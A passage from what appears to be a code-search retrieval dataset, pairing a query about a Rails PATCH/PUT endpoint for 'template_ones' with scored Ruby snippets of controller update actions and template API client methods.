OpenSSL::X509::Certificate.new(node.content) unless node.nil?\n end", "title": "" }, { "docid": "e4a775ef70d2f90620036c7f6fdb66d3", "score": "0.49279365", "text": "def sequence_property\n @sequence_property\n end", "title": "" }, { "docid": "6f67ac8db539ad599075829a62eaec4e", "score": "0.49045965", "text": "def serial\n @serial\n end", "title": "" }, { "docid": "6f67ac8db539ad599075829a62eaec4e", "score": "0.49045965", "text": "def serial\n @serial\n end", "title": "" }, { "docid": "8876c89fd41c21dde4d5972cfa2008a6", "score": "0.48873425", "text": "def card_number\n @attributes[:card_number]\n end", "title": "" }, { "docid": "60b4210b1af82ec46d776be3ecbda7a0", "score": "0.48736662", "text": "def get_sn\n sn = get_config(SERIAL_NUMBER)\n sn = sn != nil ? sn : 'Unknown'\n sn\n end", "title": "" }, { "docid": "7b89c45fc4f6864203d760a6a50b2bf0", "score": "0.48364124", "text": "def getModelNumber ()\n return readValue(\"rPDUIdentModelNumber.0\")\n end", "title": "" }, { "docid": "5c740d005357a913f7e7ed2654aa2405", "score": "0.48266655", "text": "def signing_certificate_update_status\n return @signing_certificate_update_status\n end", "title": "" }, { "docid": "7e3c2779fe30b0fa4c992fb3c1cc6b8e", "score": "0.4822115", "text": "def next_signing_certificate=(value)\n @next_signing_certificate = value\n end", "title": "" }, { "docid": "0f6706d6768b412075b76ffec3c494c2", "score": "0.4820061", "text": "def sequence_id\n return @sequence_id\n end", "title": "" }, { "docid": "19edb136d996a9639be4f07a2fb1d553", "score": "0.47934628", "text": "def part_number\n @attributes[:part_number]\n end", "title": "" }, { "docid": "91e6d3f4a5ed6194167af9c6ee5c1c34", "score": "0.47897932", "text": "def public_certificate_not_before\n @attributes[:public_certificate_not_before]\n end", "title": "" }, { "docid": "91e6d3f4a5ed6194167af9c6ee5c1c34", "score": "0.47897932", "text": "def public_certificate_not_before\n @attributes[:public_certificate_not_before]\n end", "title": "" }, { "docid": "088d597bcfe4ad5c2c28a12e038590fd", "score": "0.4772657", "text": "def hex_recipient_serial\n @attributes[:hex_recipient_serial]\n end", "title": "" }, { "docid": "f22f6c331ddfcf62cb583128c569ba12", "score": "0.47699714", "text": "def signing_certificate=(value)\n @signing_certificate = value\n end", "title": "" }, { "docid": "106188fa8a20eadaf5a40029c0cb66cd", "score": "0.4765503", "text": "def private_certificate\n @private_certificate\n end", "title": "" }, { "docid": "9b4e04a1b88fb161bb3c5eb359f80f5b", "score": "0.4763259", "text": "def public_certificate_issuer\n @attributes[:public_certificate_issuer]\n end", "title": "" }, { "docid": "9b4e04a1b88fb161bb3c5eb359f80f5b", "score": "0.4763259", "text": "def public_certificate_issuer\n @attributes[:public_certificate_issuer]\n end", "title": "" }, { "docid": "9fe675e77af3b8484eb5d400c4035d65", "score": "0.47473708", "text": "def callerid\n cert.subject.to_s\n end", "title": "" }, { "docid": "fbedba0aa81d131add7ec9c40244625c", "score": "0.47325265", "text": "def certified\n @hash[\"Certification\"][\"certified\"]\n end", "title": "" }, { "docid": "5a8f9bc822830a908728717cb0bbadde", "score": "0.47289228", "text": "def getcardnumber()\r\n return getvalue(SVTags::CARD_NUMBER)\r\n end", "title": "" }, { "docid": "c8598b07fb34e717d1e8b196e4224b5e", "score": "0.4728292", "text": "def certificate=(certificate)\n Cproton.pn_messenger_set_certificate(@impl, certificate)\n end", "title": "" }, { "docid": "7964b9f3532e1017c1d907f19fbf62cd", "score": "0.47281426", "text": "def [](key)\n @certificate.subject.to_a.each do |name, value, type|\n return value if name == key\n end; nil\n end", "title": "" } ]
e3335451c05f2db3fa8dfb82a3eaa090
PATCH/PUT /template_ones/1 PATCH/PUT /template_ones/1.json
[ { "docid": "0be3971d755405bf5d0941a35a29727d", "score": "0.64733493", "text": "def update\n respond_to do |format|\n if @template_one.update(template_one_params)\n format.html { redirect_back fallback_location: root_path, notice: 'Template one was successfully updated.' }\n format.json { render :show, status: :ok, location: @template_one }\n else\n flash[:danger] = \"There was a problem! \" + @template_one.errors.full_messages.to_sentence\n format.html { redirect_back(fallback_location: root_path) }\n format.json { render json: @template_one.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
[ { "docid": "94288d3b549af3f1cf07710c026bd70e", "score": "0.70634675", "text": "def update\n @one_table_template =\n @one_table.\n one_table_templates.\n by_user(current_user).\n find(params[:id])\n\n respond_to do |format|\n if @one_table_template.update_attributes(params[:one_table_template])\n format.html { redirect_to [@one_table, @one_table_template], notice: t(:one_table_template_updated) }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @one_table_template.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "76947a495f8371e8e772fdb40663d3b8", "score": "0.69605315", "text": "def update_report_template(args = {}) \n put(\"/reports.json/template/#{args[:templateId]}\", args)\nend", "title": "" }, { "docid": "4aa991e0225dab9188c110a32ef09bad", "score": "0.6937401", "text": "def ajax_update_template_info\n\n # Access current template being edited\n template = EmailTemplate.find(params[:template_id])\n\n template.name = params[:name]\n template.description = params[:description]\n template.email_subject = params[:email_subject]\n\n template.put('', {\n :name => template.name,\n :description => template.description,\n :email_subject => template.email_subject\n })\n\n\n response = {\n :success => true\n }\n\n # Return JSON response\n render json: response\n\n\n end", "title": "" }, { "docid": "71841b02a84ae41aeb60aceb39ad9d85", "score": "0.67601603", "text": "def patch_email_template(email_template_id, request)\n start.uri('/api/email/template')\n .url_segment(email_template_id)\n .body_handler(FusionAuth::JSONBodyHandler.new(request))\n .patch()\n .go()\n end", "title": "" }, { "docid": "ad047ec78a5b18968beae61edfd1838a", "score": "0.6640486", "text": "def update_email_template(email_template_id, request)\n start.uri('/api/email/template')\n .url_segment(email_template_id)\n .body_handler(FusionAuth::JSONBodyHandler.new(request))\n .put()\n .go()\n end", "title": "" }, { "docid": "9c982bd746ab5c2cfb605ed5ebe3348b", "score": "0.65956867", "text": "def update_template(id:, **opts)\n req = {}\n req['type'] = opts[:type] if opts[:type]\n req['script'] = opts[:script] if opts[:script]\n\n if opts[:type]\n raise ArgumentError, \"Kapacitor template type can be either 'batch' or 'stream'\" unless opts[:type] == 'batch' or opts[:type] == 'stream'\n end\n\n api_patch(endpoint: \"templates/#{id}\", data: req) unless req.empty?\n end", "title": "" }, { "docid": "0680d63f78ad7e28b99033ec7230e8cd", "score": "0.65897655", "text": "def update\n @template = Template.find(params[:id])\n\n respond_to do |format|\n if @template.update_attributes(params[:template])\n format.html { redirect_to @template, notice: 'Template was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @template.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0680d63f78ad7e28b99033ec7230e8cd", "score": "0.65897655", "text": "def update\n @template = Template.find(params[:id])\n\n respond_to do |format|\n if @template.update_attributes(params[:template])\n format.html { redirect_to @template, notice: 'Template was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @template.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "428809dd2eb4a26d5f62e78cb416ee26", "score": "0.65543336", "text": "def update_email_template(email_template_id, request)\n start.uri('/api/email/template')\n .url_segment(email_template_id)\n .body_handler(FusionAuth::JSONBodyHandler.new(request))\n .put()\n .go()\n end", "title": "" }, { "docid": "1aca574b34fe6049bc4bf161ded48d2e", "score": "0.65336514", "text": "def update\n respond_to do |format|\n if @template.update_attributes(template_params)\n format.html { redirect_to @template, notice: 'Template was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @template.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "27f87361d2a6cf41e516fefc1a7c8526", "score": "0.64736557", "text": "def update\n respond_to do |format|\n if @template.update(template_params)\n format.html { redirect_to @template, notice: 'Template was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @template.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "63d35d44f4b5bcc286dcfc3c476c696d", "score": "0.6455435", "text": "def update\n \n respond_to do |format|\n if @template.update(template_params)\n format.html { redirect_to @template, notice: 'Template was successfully updated.' }\n format.json { render :show, status: :ok, location: @template }\n else\n format.html { render :edit }\n format.json { render json: @template.errors, status: :unprocessable_entity }\n end\n end\n\n save()\n \n end", "title": "" }, { "docid": "ddba937b47ed093b8511ff72da694e19", "score": "0.6448141", "text": "def update\n @requirement_template = RequirementTemplate.find(params[:id])\n\n respond_to do |format|\n if @requirement_template.update_attributes(params[:requirement_template])\n format.html { redirect_to @requirement_template, notice: 'Requirement template was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @requirement_template.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "61bddfb5026173b40a83006ec82363bf", "score": "0.6447994", "text": "def update_template(template_name, payload)\n request(:put, \"/service_template/#{get_unique_template_id(template_name)}\", payload)\n end", "title": "" }, { "docid": "36e797a229afbc7b8bb596a45c8486d1", "score": "0.64212453", "text": "def update\n @template = current_site.templates.find(params[:id])\n params[:template].delete(:name) unless @template.is_deletable?\n respond_to do |format|\n if @template.update_attributes(params[:template])\n format.html { redirect_to(edit_admin_template_url(@template), :notice => t('templates.notices.updated', :default=>'Template was successfully updated.')) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @template.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4a0dc6631c6a06449ca672e6ea020ba9", "score": "0.6415558", "text": "def update\n @set_template = SetTemplate.find(params[:id])\n\n respond_to do |format|\n if @set_template.update_attributes(params[:set_template])\n format.html { redirect_to @set_template, :notice => 'Set template was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @set_template.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6042430d3f733d596a13ce0c135e96ed", "score": "0.64040303", "text": "def update!(**args)\n @kind = args[:kind] if args.key?(:kind)\n @status = args[:status] if args.key?(:status)\n @template_content = args[:template_content] if args.key?(:template_content)\n @template_name = args[:template_name] if args.key?(:template_name)\n @template_type = args[:template_type] if args.key?(:template_type)\n end", "title": "" }, { "docid": "8bd3e36e3b2a2ae0141c9278c9802f1c", "score": "0.6395051", "text": "def update\n respond_to do |format|\n if @template.update(template_params)\n format.html { redirect_to [@project, @template], notice: 'Template was successfully updated.' }\n format.json { render :show, status: :ok, location: [@project, @template] }\n else\n format.html { render :edit }\n format.json { render json: @template.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "328d8ea7b53432d5154cc17c812c7087", "score": "0.6391931", "text": "def update\n respond_to do |format|\n if @template.update(templates_template_params)\n update_tag(@template)\n format.html { redirect_to templates_template_path(@template), notice: t('flash.template.update.notice') }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @template.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d9d169de14a08bb0a0b5d640687a0fb9", "score": "0.6372934", "text": "def update\n respond_to do |format|\n if params[:save_changes] || !params[:save_and_template_details]\n if @requirements_template.update(requirements_template_params)\n format.html { redirect_to edit_requirements_template_path(@requirements_template), notice: 'DMP Template was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @requirements_template.errors, status: :unprocessable_entity }\n end\n else\n if @requirements_template.update(requirements_template_params)\n format.html { redirect_to requirements_template_requirements_path(@requirements_template) }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @requirements_template.errors, status: :unprocessable_entity }\n end\n end\n end\n end", "title": "" }, { "docid": "317a0f6734cad991d7f85663e5c9a475", "score": "0.63498235", "text": "def update!(**args)\n @template = args[:template] if args.key?(:template)\n end", "title": "" }, { "docid": "1b57231ba2ba0a84b687da72812aa027", "score": "0.63480395", "text": "def update_report_template(args = {}) \n id = args['id']\n temp_path = \"/reports.json/template/{templateId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"reportId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend", "title": "" }, { "docid": "2f520b3ca5925976e31b4d37a8c025d4", "score": "0.6347538", "text": "def update\n respond_to do |format|\n if @template.update(template_params)\n format.html { redirect_to @template, notice: 'Template was successfully updated.' }\n format.json { render :show, status: :ok, location: @template }\n else\n format.html { render :edit }\n format.json { render json: @template.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2f520b3ca5925976e31b4d37a8c025d4", "score": "0.63472986", "text": "def update\n respond_to do |format|\n if @template.update(template_params)\n format.html { redirect_to @template, notice: 'Template was successfully updated.' }\n format.json { render :show, status: :ok, location: @template }\n else\n format.html { render :edit }\n format.json { render json: @template.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2f520b3ca5925976e31b4d37a8c025d4", "score": "0.63472986", "text": "def update\n respond_to do |format|\n if @template.update(template_params)\n format.html { redirect_to @template, notice: 'Template was successfully updated.' }\n format.json { render :show, status: :ok, location: @template }\n else\n format.html { render :edit }\n format.json { render json: @template.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2f520b3ca5925976e31b4d37a8c025d4", "score": "0.63472986", "text": "def update\n respond_to do |format|\n if @template.update(template_params)\n format.html { redirect_to @template, notice: 'Template was successfully updated.' }\n format.json { render :show, status: :ok, location: @template }\n else\n format.html { render :edit }\n format.json { render json: @template.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2f520b3ca5925976e31b4d37a8c025d4", "score": "0.6346802", "text": "def update\n respond_to do |format|\n if @template.update(template_params)\n format.html { redirect_to @template, notice: 'Template was successfully updated.' }\n format.json { render :show, status: :ok, location: @template }\n else\n format.html { render :edit }\n format.json { render json: @template.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "358ec2c37e07269d7422970a757e12e5", "score": "0.6345115", "text": "def update\n respond_to do |format|\n if @template.update(template_params)\n format.html { redirect_to template_path(@template), notice: 'Template was successfully updated.' }\n format.json { render :show, status: :ok, location: @template }\n else\n format.html { render :edit }\n format.json { render json: @template.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c49595b21e79e3475b31baa38d4a2967", "score": "0.6323633", "text": "def patch_message_template(message_template_id, request)\n start.uri('/api/message/template')\n .url_segment(message_template_id)\n .body_handler(FusionAuth::JSONBodyHandler.new(request))\n .patch()\n .go()\n end", "title": "" }, { "docid": "57ab6a8d2c6e11a19ed158c4681cdf34", "score": "0.6323594", "text": "def ajax_update_email_template\n\n # Access current template being edited\n template = EmailTemplate.find(params[:id])\n\n template.name = template.name\n template.description = template.description\n template.app_id = template.app_id\n template.email_subject = params[:email_subject]\n template.email_title = params[:email_title]\n template.email_content = params[:email_content]\n template.has_button = params[:has_button]\n template.color = params[:color]\n template.has_checkout_url = params[:has_checkout]\n\n template.button_text = params[:button_text]\n template.button_url = params[:button_url]\n\n template.button_url = \"http://#{params[:button_url]}\" unless params[:button_url]=~/^https?:\\/\\//\n\n template.put('', {\n :email_subject => template.email_subject,\n :email_title => template.email_title,\n :email_content => template.email_content,\n :has_button => template.has_button,\n :button_text => template.button_text,\n :button_url => template.button_url,\n :color => template.color,\n :has_checkout_url => template.has_checkout_url,\n :greet_use_default => params[:greet_use_default],\n :greet_content => params[:greet_content],\n :greet_before_cust_name => params[:greet_before_cust_name],\n :greet_after_cust_name => params[:greet_after_cust_name]\n })\n\n\n final_json = JSON.pretty_generate(result = {\n :success => true\n })\n\n # Return JSON response\n render json: final_json\n\n\n end", "title": "" }, { "docid": "39479da0aff8094b9ebf74a0fdbd0342", "score": "0.63182336", "text": "def update\n @label_template = Spree::LabelTemplate.find(params[:id])\n\n respond_to do |format|\n if @label_template.update_attributes(params[:label_template])\n format.html { redirect_to @label_template, notice: 'Label template was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @label_template.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7c98c588e3fa46c7b604b023f5cc4eef", "score": "0.6304522", "text": "def update\n respond_to do |format|\n if @template.update(template_params)\n format.html { redirect_to session.delete(:referer), notice: 'Template atualizado com sucesso.' }\n format.json { render :show, status: :ok, location: @template }\n else\n format.html { render :edit }\n format.json { render json: @template.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4d16663eb4d1b32d27b97263446c4cc0", "score": "0.62954515", "text": "def update\n respond_to do |format|\n if @o_single.update(email_template_params)\n update_email_template_file(@o_single)\n format.html { redirect_to admin_email_templates_url, notice: t(\"general.successfully_updated\") }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @o_single.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "af1a3ed55b3b5db6b9f53eeebc37ac30", "score": "0.6292068", "text": "def update\n respond_to do |format|\n if @template.update(template_params)\n format.html { redirect_to templates_url, notice: 'Template was successfully updated.' }\n format.json { render :show, status: :ok, location: @template }\n else\n format.html { render :edit }\n format.json { render json: @template.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "af1a3ed55b3b5db6b9f53eeebc37ac30", "score": "0.6292068", "text": "def update\n respond_to do |format|\n if @template.update(template_params)\n format.html { redirect_to templates_url, notice: 'Template was successfully updated.' }\n format.json { render :show, status: :ok, location: @template }\n else\n format.html { render :edit }\n format.json { render json: @template.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1093eb45ff9c73b112e5770d8ffbc43d", "score": "0.6265484", "text": "def update\n @mytemplate = Mytemplate.get(params[:id])\n \n @mytemplate.name = params[:mytemplate][:name]\n @mytemplate.folder = params[:mytemplate][:folder]\n @mytemplate.description = params[:mytemplate][:description]\n \n respond_to do |format|\n if @mytemplate.save\n format.html { redirect_to mytemplates_path }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @mytemplate.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e73223925fad965816406f530637e2f8", "score": "0.62318957", "text": "def update\n @template = Template.find(params[:id])\n\n respond_to do |format|\n if @template.update_attributes(template_params)\n format.html { redirect_to :back, notice: 'Template was successfully updated.' }\n format.json { head :no_content }\n else\n flash[:error] = @template.errors.empty? ? \"Error\" : @template.errors.full_messages.to_sentence\n format.html { render action: \"edit\" }\n format.json { render json: @template.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3880e34a053f6360b41eff444bb555eb", "score": "0.6224287", "text": "def update_message_template(message_template_id, request)\n start.uri('/api/message/template')\n .url_segment(message_template_id)\n .body_handler(FusionAuth::JSONBodyHandler.new(request))\n .put()\n .go()\n end", "title": "" }, { "docid": "6eee71e31af4a2e54fd3edc3f6bb7708", "score": "0.62190753", "text": "def ajax_set_default_template\n\n # Get the Current App\n @app = MailfunnelsUtil.get_app\n\n # Access current template being edited\n template = EmailTemplate.find(params[:id])\n\n template.html = params[:html]\n template.style_type = 1\n\n template.put('', {\n :html => template.html,\n :style_type => template.style_type\n })\n\n @app.put('', {\n :default_template => params[:html],\n :has_def_template => 1\n })\n\n\n response = {\n :success => true\n }\n\n # Return JSON response\n render json: response\n\n\n end", "title": "" }, { "docid": "ca7e5226d9d114619993777b39e3c640", "score": "0.6200933", "text": "def update\n respond_to do |format|\n if @set_template.update(set_template_params)\n format.html { redirect_to @set_template, notice: 'Set template base was successfully updated.' }\n format.json { render :show, status: :ok, location: @set_template }\n else\n format.html { render :edit }\n format.json { render json: @set_template.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "33787b2f602f3d67c46878d65110935d", "score": "0.6199411", "text": "def update\n @ticket_template = TicketTemplate.find(params[:id])\n\n respond_to do |format|\n if @ticket_template.update_attributes(params[:ticket_template])\n format.html { redirect_to @ticket_template, notice: 'Ticket template was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @ticket_template.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "984ac0965091608eabf85e4443952185", "score": "0.618967", "text": "def update\n respond_to do |format|\n if @note_template_field.update(note_template_field_params)\n format.html { redirect_to @note_template_field, notice: 'Note template field was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @note_template_field.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bc90572bf6966300e78de532d2d5bb4c", "score": "0.6181957", "text": "def tc_update_template(request)\n dashboard_request('POST', '/api/tc-templates', request)\n end", "title": "" }, { "docid": "6b4666663d45683622ddd71f85da0817", "score": "0.61709267", "text": "def update\n @notify_template = NotifyTemplate.find(params[:id])\n\n respond_to do |format|\n if @notify_template.update_attributes(params[:notify_template])\n format.html { redirect_to @notify_template, notice: 'Notify template was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @notify_template.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5cf36081e50db59fc8ce97c915fcaf3c", "score": "0.6161734", "text": "def update\n respond_to do |format|\n if @template_attribute.update(template_attribute_params)\n format.html { redirect_to @template_attribute, notice: 'Template attribute was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @template_attribute.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2b8994378b1ed0f5fb823900ede56ec1", "score": "0.614053", "text": "def update\n puts(\"********************************\")\n\n @template = Template.find(params[:id])\n\n respond_to do |format|\n if @template.update_attributes(params[:template])\n format.html { redirect_to(@template, :notice => 'Template was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @template.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "22799f2db19bf6f442c3f3a045b20d43", "score": "0.6127322", "text": "def update\n @email_template = EmailTemplate.find(params[:id])\n\n respond_to do |format|\n if @email_template.update_attributes(params[:email_template])\n format.html { redirect_to @email_template, notice: 'Email template was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @email_template.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6fb3bb15a89ccfd45d42afb9f0308b5e", "score": "0.612672", "text": "def update\n @instruction_template = InstructionTemplate.get(params[:id])\n\n respond_to do |format|\n if @instruction_template.update(params[:instruction_template])\n format.html { redirect_to @instruction_template, notice: 'Instruction template was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @instruction_template.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "74598e0a3aa41ab3fe0f8ee018160a23", "score": "0.61228836", "text": "def update\n respond_to do |format|\n if @build_template.update(build_template_params)\n format.html { redirect_to @build_template, notice: 'Build template was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @build_template.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ca17537c5d405377408d83f1aed2d66d", "score": "0.61103725", "text": "def update!(**args)\n @template = args[:template] unless args[:template].nil?\n @type = args[:type] unless args[:type].nil?\n end", "title": "" }, { "docid": "4975205efeb5ebca83cfa158747b2925", "score": "0.6108874", "text": "def update\n @usertemplate = Usertemplate.find(params[:id])\n\n respond_to do |format|\n if @usertemplate.update_attributes(params[:usertemplate])\n format.html { redirect_to @usertemplate, notice: 'Usertemplate was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @usertemplate.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "09766fb238d4270bdd56555fcdd73efd", "score": "0.6107873", "text": "def ajax_save_email_template\n\n # Access current template being edited\n template = EmailTemplate.find(params[:id])\n\n template.html = params[:html]\n template.style_type = 1\n template.is_dynamic = params[:dynamic]\n template.has_ac_holder = params[:has_ac_holder]\n\n template.put('', {\n :html => template.html,\n :style_type => template.style_type,\n :is_dynamic => template.is_dynamic,\n :has_ac_holder => template.has_ac_holder\n })\n\n\n response = {\n :success => true\n }\n\n # Return JSON response\n render json: response\n\n\n end", "title": "" }, { "docid": "85c4292b869b05360709ebf79f8b2252", "score": "0.6099031", "text": "def update\n @template = Template.find(params[:template_id])\n @placeholder = Placeholder.find(params[:id])\n\n respond_to do |format|\n if @placeholder.update_attributes(params[:placeholder])\n format.html { redirect_to template_placeholders_path(@template), notice: 'Placeholder was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @placeholder.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "35fa82010d9004329364c28e22b986ad", "score": "0.60926765", "text": "def update\n respond_to do |format|\n if @survey_template.update(survey_template_params)\n format.html { redirect_to @survey_template, notice: 'Survey template was successfully updated.' }\n format.json { render :show, status: :ok, location: @survey_template }\n else\n format.html { render :edit }\n format.json { render json: @survey_template.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d380b8ca40d533ca111686e1620f8474", "score": "0.60925376", "text": "def update\n template = Template.find(params[:id])\n respond_to do |format|\n if template.update_attributes(params[:template])\n if request.referer == template_molds_url(template)\n format.html { redirect_to template_molds_path(template), notice: '이미지 틀 수정 반영됨.' }\n elsif request.referer == template_elements_url(template)\n format.html { redirect_to template_elements_path(template), notice: '템플릿 구성 부품 수정 반영됨.' }\n else\n format.html { redirect_to template, notice: '반영됨.' }\n format.json { head :no_content }\n end\n else\n format.html { render action: \"edit\" }\n format.json { render json: template.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6928dca4598c52a3428a518175488fc8", "score": "0.60831726", "text": "def update\n respond_to do |format|\n if @template_type.update_attributes(template_type_params)\n format.html { redirect_to @template_type, notice: @controller_name +t(:message_success_update)}\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @template_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5f37ee8454c033ff383fb00cf9000047", "score": "0.6082604", "text": "def update_template_0_with_http_info(id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: TemplatesApi.update_template_0 ...\"\n end\n # verify the required parameter 'id' is set\n if @api_client.config.client_side_validation && id.nil?\n fail ArgumentError, \"Missing the required parameter 'id' when calling TemplatesApi.update_template_0\"\n end\n if @api_client.config.client_side_validation && opts[:'type'] && !['EMAIL', 'SMS', 'VOICE', 'FAX'].include?(opts[:'type'])\n fail ArgumentError, 'invalid value for \"type\", must be one of EMAIL, SMS, VOICE, FAX'\n end\n # resource path\n local_var_path = \"/templates/{id}\".sub('{' + 'id' + '}', id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/x-www-form-urlencoded'])\n\n # form parameters\n form_params = {}\n form_params[\"name\"] = opts[:'name'] if !opts[:'name'].nil?\n form_params[\"type\"] = opts[:'type'] if !opts[:'type'].nil?\n form_params[\"body\"] = opts[:'body'] if !opts[:'body'].nil?\n\n # http body (model)\n post_body = nil\n auth_names = ['jwt']\n data, status_code, headers = @api_client.call_api(:PUT, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'InlineResponse2019')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: TemplatesApi#update_template_0\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "0e20cd393d0f66c226f980186126b7fd", "score": "0.60789824", "text": "def update\n @use_case_template = UseCaseTemplate.find(params[:id])\n\n respond_to do |format|\n if @use_case_template.update_attributes(params[:use_case_template])\n format.html { redirect_to @use_case_template, notice: 'Use case template was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @use_case_template.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "320973a67ef430adfd347d707fbb2b7a", "score": "0.6072968", "text": "def update\n @mytemplate = Mytemplate.get(params[:id])\n \n @mytemplate.name = params[:mytemplate][:name]\n @mytemplate.description = params[:mytemplate][:description]\n \n respond_to do |format|\n if @mytemplate.save\n flash[:notice] = 'Mytemplate was successfully updated.'\n format.html { redirect_to mytemplates_path }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @mytemplate.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "61f78513b7e21724ea577d069dcea907", "score": "0.606603", "text": "def update\n respond_to do |format|\n if @template.update(template_params)\n format.html { redirect_to home_path, notice: 'Template was successfully updated.' }\n format.json { render :show, status: :ok, location: @template }\n else\n format.html { redirect_to home_path, alert: 'Template failed to update.' }\n format.json { render json: @template.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "24fa7bdfa6494c498909020bd79c3cd2", "score": "0.6063429", "text": "def ot_update_attributes; update_attributes(OrganizationTemplate, params); end", "title": "" }, { "docid": "e632e757b11a4962a650a3b9f1c9f9a5", "score": "0.60412765", "text": "def update\n @image_template = ImageTemplate.find(params[:id])\n\n respond_to do |format|\n if @image_template.update_attributes(params[:image_template])\n format.html { redirect_to @image_template, :notice => 'Image template was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @image_template.errors, :status => :unprocessable_entity }\n end\n end\n 